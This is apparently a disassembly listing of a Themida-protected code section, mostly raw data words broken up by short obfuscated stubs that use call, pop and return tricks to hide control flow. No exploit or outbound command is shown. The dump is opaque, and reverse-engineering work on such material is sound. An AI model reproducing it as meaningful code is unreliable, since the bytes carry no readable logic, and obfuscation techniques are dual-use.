dd 41000000h, 0DC96C351h, 5585C7AFh, 3061330h, 0E9000000h
dd 12h, 0D3FF49E3h, 3C68768h, 0F2171111h, 0B58C5342h, 0BD83406Ch
dd 616C454h, 2C840F00h, 89000000h, 13320595h, 3CE906h
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
dd 53430000h, 8015EEC3h, 50F5C2DFh, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 6130151h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 5012FF82h
dd 0D1C7BFE5h, 0BD83060Eh, 6133055h, 0B8850F03h, 8B000003h
dd 54BD83F8h, 616C4h, 3A9840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1D2B0C3h
dd 0CEE3EC94h, 0B5894CC4h, 6130D65h, 0C454B5FFh, 6A0616h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0FB7166C3h, 0B1F5D3BAh, 95FFC431h, 6130969h, 0E852006Ah
dd 3, 5AC35A20h
db 89h, 54h, 24h
; ---------------------------------------------------------------------------
loc_5C8F5F: ; CODE XREF: Themida_:005C7A72j
add al, 81h
inc esp
and al, 4
pop ss
; ---------------------------------------------------------------------------
db 3 dup(0)
; ---------------------------------------------------------------------------
inc edx
push edx
retn
; ---------------------------------------------------------------------------
db 0C2h
dd 0FFE1F18h, 685h, 0FEDF8100h, 8B7F0C76h, 16C448B5h, 0AAF38006h
dd 106C7h, 8D090001h, 61306D9h, 73CF8166h, 12E99601h, 46000000h
dd 59EA838Ah, 93154BDEh, 0D982CBA6h, 0AB90A0F0h, 0CE85048h
dd 7F000000h, 75043090h, 1FE1D66Bh, 50595F01h, 0F616052h
dd 5ADA8B31h, 0F965B58h, 0BD89FFBFh, 6131FD1h, 0C454B5FFh
dd 8F0F0616h, 6, 890Fh, 0E1B70000h, 322995FFh, 0E0BF0613h
dd 8B341410h, 16C448B5h, 31858B06h, 66061306h, 8689F98Bh
dd 0C4h, 958BF88Bh, 6131BBDh, 0F93870BFh, 4C28364h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B0C35343h, 6D9D034Dh
dd 0F061322h, 5089DBBFh, 858DFC20h, 616D8E3h, 0B88689h
dd 8E0F0000h, 1Eh, 12E8h, 0FF49E300h, 0C68768D3h, 17111103h
dd 8C5342F2h, 9406CB5h, 131CF595h, 6A5B06h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0F7B1A3ECh
dd 0AE96BBCh, 18000000h, 0E7820138h, 0DB99C63Dh, 54B5FFF1h
dd 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 0BC4CC357h, 0F9B2446Eh, 95FF0A14h
dd 6131E95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 19h, 0DC35040h, 52821A32h, 4D85015Dh, 50061306h, 6A243489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 42C352h, 9FBDCB81h, 0B5FF2543h, 616C454h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BFC35040h
dd 0B5A9B294h, 0A3BB7967h, 0FF7C5735h, 13214595h, 0D5B58906h
dd 8306131Ch, 131495BDh, 840F0006h, 13h, 37EDC7BBh, 8B66967Bh
dd 519650F9h, 1785BD8Bh, 0FF5F0613h, 16C454B5h, 50006A06h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 51D9B302h, 21F5BD8Bh, 0FF5B0613h, 1305AD95h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0E8D94156h, 11h, 0FDF5A719h, 4F628587h, 0C06C3596h
dd 0A223BDE8h, 0FF5FF935h, 16C454B5h, 0F2D78106h, 0FF48C42Eh
dd 13120995h, 0BD83F906h, 6130511h, 58840F02h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 235BC355h, 858BFCE0h, 6130F55h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BC35646h, 84BCC2AFh
dd 8D8B6073h, 6132A05h, 0C661F5h, 59D8B00h, 0C706132Ah
dd 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 2F3949C5h, 0D585E093h
dd 0D781B027h, 13F44D92h, 0AE9h, 4AF1C500h, 688C385Dh
dd 0E9D8E3F6h, 0FFFFF4B5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 30C35242h, 6AC18Bh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 662B4CC3h
dd 0BCB8B60h, 1314819Dh, 858D6106h, 6131EA9h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AEC35040h, 8B662EF5h
dd 0BF6690F9h, 90509A1Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 8BC35545h, 0B810Fh, 880F0000h, 5, 0A58EABBh
dd 6A006A39h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1604h, 0C3554500h, 89F8FAD6h, 131CD98Dh, 1E858D06h
dd 6A0617D2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 4E89C356h, 0DE8h, 755C4E00h, 9FF36953h
dd 1FE78470h, 8D89CAF7h, 6132955h, 5C0835Bh, 0E850BFB7h
dd 12h, 0E6BB443Dh, 90628C4Ah, 630227Dh, 65021598h, 8B66D1E3h
dd 4895FF9h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1604h, 0C3504000h, 8BA9896Ah, 131959BDh, 6A006A06h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 0E2DCC350h, 3446AF8Fh, 6AB16Ch, 6AF88Ah
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CC35646h
dd 159D8943h, 0FF06132Ch, 1307F195h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0F955CEEh
dd 6661D6EBh, 8D8DF98Bh, 616A36Ah, 0D1FF5F52h, 0F21BD8Bh
dd 0BD830613h, 613173Dh, 61850F01h, 0F000000h, 26AD8B7h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 26C35040h
dd 0C2CB6678h, 9D89EEC0h, 61305BDh, 50FE8B90h, 8A90DA8Bh
dd 9595FFD9h, 6A06131Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0F9ECC350h, 7C6157FEh
dd 0DE8B6645h, 0DFEE9h, 0E800h, 815D0000h, 17D228EDh, 9E906h
dd 2FD30000h, 0CCD6CC0Dh, 6AA553F1h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 0EC9CC350h
dd 57DD1B8Bh, 1D1BD2Bh, 8B5F0613h, 1316219Dh, 5E858D06h
dd 8B06168Fh, 131361BDh, 0CE85006h, 0C3000000h, 0B0850DDEh
dd 0A5CC6A15h, 60396BD6h, 0CE9h, 8FCB4900h, 22F12DFEh
dd 1A7ED09Ch, 0BBBA6606h, 895F6117h, 6A2404h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 34338DC3h
dd 0FA8B60FBh, 1E0D8D8Bh, 66610613h, 64BF91BBh, 35FFh
dd 880F0000h, 3, 64DFB70Fh, 2589h, 0BD890000h, 6130E35h
dd 16D985FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1C0424h, 52420000h, 9A19C9C3h, 0F4E3B2D6h, 9D8BAA9Dh
dd 6130D65h, 27840Fh, 0EE80000h, 91000000h, 0F2FBE9F9h
dd 0B30BA3BEh, 0EF6CCAC8h, 0EE9F2h, 0D670000h, 2B9E3E14h
dd 0E7650E18h, 0C1620F16h, 6AFF6A5Fh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5C92C353h
dd 0F2B8E199h, 0C18589EDh, 0FF06132Eh, 130ED5B5h, 69BD8906h
dd 0FF061324h, 1331AD95h, 136E906h, 0E9600000h, 10h, 328B05C1h
dd 37F00658h, 8007207Fh, 784BC352h, 10E9h, 28970000h, 3453160h
dd 0A20F569Eh, 0F1193EE9h, 0B06176h, 8970E6FCh, 1323E9BDh
dd 971E406h, 1308CD95h, 0F613C06h, 0EF83h, 0E18D0100h
dd 0F06130Bh, 850FC8B6h, 5, 0FBF7D7BFh, 6BA1Eh, 0B5890000h
dd 6130F21h, 0E8C1C18Bh, 59B58904h, 6606130Dh, 0BB66E2F7h
dd 0C82B36ECh, 3ED78166h, 60D18B1Ch, 0ADF68160h, 6124FFCAh
dd 0A6E961h, 0BE90000h, 67000000h, 2F85F280h, 504066AFh
dd 858B0723h, 1, 0B5BD8B56h, 5B061305h, 8B07C083h, 132EB1BDh
dd 0C08306h, 810Fh, 0D03B0000h, 1C830Fh, 0CE90000h, 89000000h
dd 1F4286ECh, 0F0A010B8h, 0E9257CC1h, 58h, 20559D8Bh, 8D8B0613h
dd 0FFFFFFFFh, 2FC58D29h, 0BD090613h, 61330B1h, 0F01E183h
dd 3784h, 0DBD8B00h, 0F061332h, 28Dh, 83DAB300h, 0FFFFFFA5h
dd 0BD8BFEFFh
dd 6132BD1h, 19589h, 0CE90000h, 44000000h, 8BAD1615h, 0ED5E811Ah
dd 0E9261D9Bh, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+617503Ch]
push 0
push ecx
call sub_5C979D
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C979D proc near ; CODE XREF: Themida_:005C9795p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5C979D endp
; ---------------------------------------------------------------------------
db 3Eh
dec eax
fcomp qword ptr [ecx-77387E9Fh]
scasb
mov cl, 3
mov edi, [ebp+61331B5h]
push 0
push 0
push edi
call sub_5C97CB
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C97CB proc near ; CODE XREF: Themida_:005C97C3p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5C97CB endp
; ---------------------------------------------------------------------------
movsb
test esp, ecx
mov bx, 6D0Bh
call dword ptr [ebp+6130DA9h]
mov ebx, 0A42228Ch
mov bh, 10h
mov ecx, 0F70h
mov [ebp+6131ECDh], edx
and ecx, 0FFFFFFFCh
push 0
push eax
call sub_5C9808
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9808 proc near ; CODE XREF: Themida_:005C9800p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5C9808 endp
; ---------------------------------------------------------------------------
mov bl, 0B8h
les eax, [esi]
movsb
xor [ecx+62h], eax
xor esp, [ebx]
cld
xor ebx, 14B29295h
sub eax, eax
push 0
push eax
call sub_5C9836
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C9836 proc near ; CODE XREF: Themida_:005C982Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5C9836 endp
; ---------------------------------------------------------------------------
dw 556Ch
dd 81234A37h, 0F91BC85h, 688h, 59958900h, 0BB061324h, 12F0D860h
dd 13E9D22Bh, 3E000000h, 0B6FD8AC0h, 3CBF3487h, 667D6CA0h
dd 4713B226h, 33AD58E2h, 3E8D1C2h, 4E983D0h, 0E781F475h
dd 2805280Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 4C35545h, 864532C6h, 89B535C9h, 132C5185h, 880D06h
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
dd 50400000h, 0CF7F2CC3h, 0E65F68FBh, 810FCFE6h, 6, 0C5D9D33h
dd 958B0613h, 6131BBDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 0EFC35545h, 8BFFBF0Fh, 1318DD8Dh, 0FFBF0F06h
dd 5BDA8B53h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h
dd 0DFBF5818h, 0E8790521h, 9, 0FB7F927h, 7DEEA9FDh, 0FDBD8BE0h
dd 5F061314h, 1D1DBD83h, 0F000613h, 6484h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 293AE779h, 664755BCh, 58DFCB81h, 18F5B501h, 0B80613h
dd 66000000h, 8D8DFB8Bh, 6134F8Dh, 2826BB66h, 6AE1FFh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 233516C3h, 1319D59Dh, 55BD8306h, 61330h, 49D840Fh, 81660000h
dd 836119E3h, 133055BDh, 840F0106h, 4A6h, 83F8BF0Fh, 133055BDh
dd 860F0306h, 460h, 295DBD29h, 6A600613h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 4AAEC357h
dd 0EA3A5E44h, 0BD8BB42Ah, 6130611h, 6AD98C66h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 893AC351h, 1320B1BDh, 4E18006h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Bh, 16C35646h, 9D75EE11h, 8B70E121h
dd 131F859Dh, 0FC90A06h, 18884h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0A18D8970h
dd 8B061320h, 132BB985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1A04h, 0C3514100h, 950D6E77h, 330816F6h
dd 1305B985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 0F1A4C69Eh, 0FC0BB3BFh, 8E84Eh, 0C9D40000h
dd 0FE0D81DBh, 890F0903h, 2, 505B5B57h, 6A240489h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 883DC352h, 0C9267F0Dh, 6535F915h, 0E9DE8B66h, 14h, 0BE804340h
dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 894317C3h, 58684E70h, 60540D63h, 0EE8h, 19686500h, 0A3EE8EBh
dd 266915Ch, 5BB3A9D8h, 0CE8h, 26596200h, 72D2F3h, 8819F784h
dd 0CB8B6649h, 3481615Bh, 1260A724h, 10E954h, 2C930000h
dd 1ABDC99Eh, 3CE3FA83h, 0CDF19EE4h, 95FF4EB8h, 6130A3Dh
dd 1FF9B589h, 0DA8B0613h, 0C4548589h, 6A0616h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 0E9F9B6C3h, 1C4h, 9E8h, 1B6C9600h, 0E7D104CCh, 0BD0BF642h
dd 6130BADh, 4C858B5Fh, 0F0616C4h, 384h, 0DF8B6600h, 8D0Fh
dd 0C70000h, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0D1C35747h, 8BA998AAh, 16C450B5h, 57006A06h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 589F8B50h, 55858B6Dh, 0BF06132Ah, 6BFB3ED6h, 10E90689h
dd 2F000000h, 19834F15h, 4CB2490Ch, 8C6F9DC3h, 0FFC3691h
dd 680h, 0DDBD8B00h, 8B061314h, 132BB985h, 80F88B06h, 46895AE3h
dd 0DA8B6604h, 2890F50h, 0B7000000h, 243489D7h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 92C35141h, 0AEE09630h
dd 8166EEFFh, 818A98DFh, 0BB8FC2EFh, 4CB5FF6Ch, 90616C4h
dd 13140195h, 4E806h, 3FF0000h, 0BF66001Fh, 8B507ADEh
dd 24448BFBh, 850F04h, 8B000000h, 0D98B6600h, 4244489h
dd 8058FA8Bh, 858D38DFh, 616C454h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0AFC35141h, 6E8h, 7E25EE00h
dd 578CC815h, 14E8h, 0CC890700h, 4FD79E92h, 0A56DDB35h
dd 504DB0EDh, 0F483FCB6h, 5F5F5BFDh, 24048950h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h, 0FF46E21Dh
dd 130A3D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1A04h, 0C3574700h, 0F90F93CCh, 0FC3BC8Fh, 18Bh, 9D8BFC00h
dd 6130B05h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1704h, 0C3534300h, 495DF507h, 0ED17BB66h, 85C76BB3h
dd 6133055h, 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 0A0C35040h, 1F9D9D8Bh, 0BD830613h, 616C454h, 41840F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 0E9A4C350h, 3Bh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0C5C35545h, 0F6D0BF66h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0D7CEC352h, 14E87Fh, 5E600000h, 9BCC203Eh
dd 8595C52h, 1ED1BD76h, 0A6A51C86h, 0DE92625h, 12000000h
dd 0E3FEEDD3h, 39752260h, 0B7EA383h, 0BD83FC5Bh, 6133055h
dd 0D5850F03h, 6A000003h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 17F8C355h, 49513003h
dd 78900CDh, 343C58BFh, 54BD835Ah, 616C4h, 39E840Fh, 0C3800000h
dd 81958982h, 0FF061310h, 16C454B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 3838A95Fh
dd 40540A1h, 8BFCF9A8h, 1313359Dh, 6995FF06h, 66061309h
dd 8B067CBBh, 16C448B5h, 0C256BF06h, 6C76143h, 10001h
dd 5050F88Bh, 8B665252h, 310F5BDAh, 12E8h, 225E3C00h, 6AC66C53h
dd 1E6446DFh, 352F2BA3h, 669DE03Bh, 5A5BDE8Bh, 24348958h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8FC35242h
dd 2BA876CDh, 0C454B5FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 95FFBAC3h, 6133229h
dd 20859D03h, 0B58B0613h, 616C448h, 14E8h, 0D5EFE500h
dd 5D474479h, 6F792E93h, 19C2BAA8h, 0E6FCEB6Dh, 959D89B5h
dd 5B061329h, 5E9h, 5CED9900h, 858B5BC2h, 6130631h, 29E58D09h
dd 86890613h, 0C4h, 2965B589h, 958B0613h, 6131BBDh
dd 6FF38166h, 4C28376h, 89F88B66h, 6A2050h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5F70E0C3h
dd 14F59529h, 0BE80613h, 91000000h, 437AD038h, 392AA182h
dd 8B668C8Ah, 858D5BFBh, 616D8E3h, 2129BD89h, 85310613h
dd 6131F41h, 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 52F287C3h, 0BEE167EDh
dd 2FDDBD8Bh, 0D88B0613h, 0C062BB66h, 6A006Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 0D5E69CC3h, 95D43F3Ah, 0B91BD8Bh, 0FFF90613h, 16C454B5h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 6D8F10EDh, 7E8DB11h, 0AC000000h, 8A8435BEh
dd 0BD8B16E9h, 61304C9h, 9E85Fh, 38AC0000h, 9882D825h
dd 8B1F5811h, 132B1D9Dh, 95FF5B06h, 6131E95h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h, 18E28784h
dd 0DBB70F3Fh, 34959D2Bh, 66500613h, 89EBA5BFh, 6A2434h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 1C33D5C3h, 159938C0h, 54B5FF09h, 8B0616C4h, 132175BDh
dd 4595FF06h, 0F061321h, 0BD83FABFh, 6131495h, 58840F00h
dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0FFBEC356h, 56D24F7Eh, 7E850EBh
dd 18000000h, 5D5FE58Fh, 5F56C6FBh, 2434895Fh, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8BC35545h, 7B1AC5F4h
dd 0FF0408C7h, 16C454B5h, 95FFF906h, 61305ADh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2EC35141h, 0B5FFD88Bh
dd 616C454h, 95FFDE8Bh, 6131209h, 511BD83h, 0F020613h
dd 3284h, 0DEBF0F00h, 0F55858Bh, 0B7530613h, 0C65B04h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 2CBA0A64h, 0C734DDD7h, 131E5185h, 6, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 64B51432h, 0FB6F0287h, 0FFF348E9h, 0C98D09FFh, 8B06132Fh
dd 8D8B60C1h, 61306BDh, 2800Fh, 61600000h, 29BD0961h, 8D06130Eh
dd 131EA985h, 0CE806h, 0B3CF0000h, 0A63F3CCCh, 407E56FFh
dd 905FA2F8h, 0BB665250h, 310FCF39h, 90BB6652h, 585A5B2Ah
dd 0FE85250h, 0F7000000h, 39F5CB3Fh, 1F36F203h, 2A94970Ch
dd 6E9ABBEh, 71000000h, 3344F57Ch, 905B5FDDh, 6AFA8Bh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 44C35040h
dd 0B50B4DCDh, 912BD91h, 130DFD85h, 12E806h, 0A0360000h
dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 27C57BD0h, 1DB99589h
dd 6A5F0613h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0F27852BFh, 66072FADh, 9ED99BFh
dd 130F01BDh, 8D7FB706h, 17E29B85h, 359D8B06h, 83061323h
dd 11E905C0h, 0E3000000h, 0BC3119FEh, 0CEB7629Dh, 4A4DB230h
dd 7DD362A1h, 60525090h, 0B1D18B66h, 310F61F2h, 10860Fh
dd 0AE80000h, 6B000000h, 7AE6AB16h, 753A6BB9h, 585A5F41h
dd 13E950h, 0E41F0000h, 56392E53h, 53E2F800h, 0CFD25E2Ch
dd 5C1E6734h, 6A9065h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0EEC8E7C3h, 0B5EC866Eh, 2B5B1ECCh
dd 130B45BDh, 6A006A06h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 0BE05C357h, 0D1544DECh
dd 6A006AD7h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0E0ADC357h, 0DCBFBCDFh, 0E96D5776h
dd 9, 0F23C51ADh, 0B0CE3709h, 0F195FF64h, 0B7061307h, 6A8D8D9Eh
dd 6A0616A3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 24D7C353h, 0BDFE9F41h, 0BAE847E9h
dd 23059501h, 0D1FF0613h, 8CDBD89h, 0BD830613h, 613173Dh
dd 7E850F01h, 1000000h, 1329A5B5h, 8B026A06h, 1309D9BDh
dd 0BABB6606h, 10E8909Ah, 0EE000000h, 5806F0CFh, 2B6AEAFAh
dd 0F21C25F4h, 50D2A429h, 0F5B5752h, 0AE831h, 0E2610000h
dd 66C8EF22h, 2651B75Bh, 5F585A5Bh, 8B0F9050h, 0Ch, 68B0Fh
dd 9D8B0000h, 6131D55h, 1E9595FFh, 6A0613h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 61CFC5C3h
dd 0BD8D6F44h, 0F3FE936h, 0E80000h, 5D000000h, 0E2A5ED81h
dd 0B70F0617h, 299589FEh, 8B061309h, 130BE19Dh, 0D59D8B06h
dd 8D06130Fh, 168F5E85h, 51BD8906h, 9006131Bh, 5050DF8Bh
dd 11E852h, 0A2340000h, 68093D90h, 56D0046Dh, 0FF0E3259h
dd 5BF2A20Eh, 11E8310Fh, 0DF000000h, 387D76C8h, 9A0B1CACh
dd 0B0CFAE30h, 189AA37Fh, 5A5B2BB7h, 6A9058h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0F0DDFBC3h
dd 0F2BC1064h, 0FF640189h, 35h, 8964F800h, 25h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0E84DD8A6h, 0E60F5A00h, 6840F16h, 89000000h, 132B919Dh
dd 0D985FF06h, 50061316h, 57F38166h, 0FF6A5BC2h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 80C35646h, 9217B1C3h
dd 6890Fh, 0B5890000h, 6131FC9h, 0B01B5FFh, 7E90613h, 0F3000000h
dd 0B314B01Eh, 95FF9163h, 61331ADh, 12BE9h, 0DFB70F00h
dd 0B0DEB70Fh, 3DBD8B00h, 0E6061300h, 4870F70h, 66000000h
dd 0E46A9ABBh, 870F6071h, 6, 2119B58Bh, 85890613h, 6131501h
dd 0F613C61h, 0F383h, 0D9B50900h, 0F061329h, 6BAC8B6h
dd 0F000000h, 0C18BD9B7h, 0E904E8C1h, 9, 65FCC0C0h, 5766CC3Dh
dd 0FBBF0F99h, 0BFE2F766h, 512B664Ah, 0AE9C82Bh, 0F8000000h
dd 7804201h, 0D13A3F20h, 89D18BDDh, 130EF9BDh, 0A6E906h
dd 0BD8B0000h, 61311E9h, 4858BFCh, 66000000h, 0FE79EB81h
dd 8B07C083h, 131935BDh, 0C08306h, 3850Fh, 0BF0F0000h
dd 0FD03BF9h, 1A83h, 890F6000h, 1, 0E1BD8BF8h, 61061306h
dd 63E9h, 19858900h, 8B06131Ch, 0FFFFFF8Dh, 219529FFh
dd 8906130Fh, 131AB5B5h, 1E18306h, 42840Fh, 0E8600000h
dd 14h, 0D8141773h, 0AC600D7Bh, 0A6004424h, 10A70EEAh
dd 1CAABD99h, 830Fh, 8B5F0000h, 0A58361D7h, 0FFFFFFFFh
dd 0F5B529FEh, 89061331h, 495h, 819D0B00h, 0E9061331h
dd 0
; ---------------------------------------------------------------------------
lea esi, [ebp+6175FACh]
pusha
movzx eax, bx
push esi
mov edx, [ebp+6132BC1h]
pop edx
popa
push 0
push 0
push ebp
call sub_5CA7D8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA7D8 proc near ; CODE XREF: Themida_:005CA7D0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5CA7D8 endp
; ---------------------------------------------------------------------------
dd 0C3E922Ch, 0C7DC6EE4h, 0DA995FFh, 6A0613h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 0AF12CCC3h
dd 0CE9A3h, 0FC980000h, 0BD90229Dh, 0D36315DBh, 0BE85CCCh
dd 70000000h, 16A764D5h, 964828CFh, 0F525068h, 85h, 0B95B5B00h
dd 1032h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 15h, 8AC35141h, 0D8B70F60h, 6AFCE183h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6646C352h
dd 0BD8B7779h, 6130A45h, 51006AFCh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1404h, 0C3514100h, 0E59589EFh, 0B8061319h
dd 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5CA8BF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CA8BF proc near ; CODE XREF: Themida_:005CA8B7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_5CA8BF endp
; ---------------------------------------------------------------------------
db 9Fh
dd 7DFFD3E4h, 2805707h, 0BA5F56E2h, 0
; ---------------------------------------------------------------------------
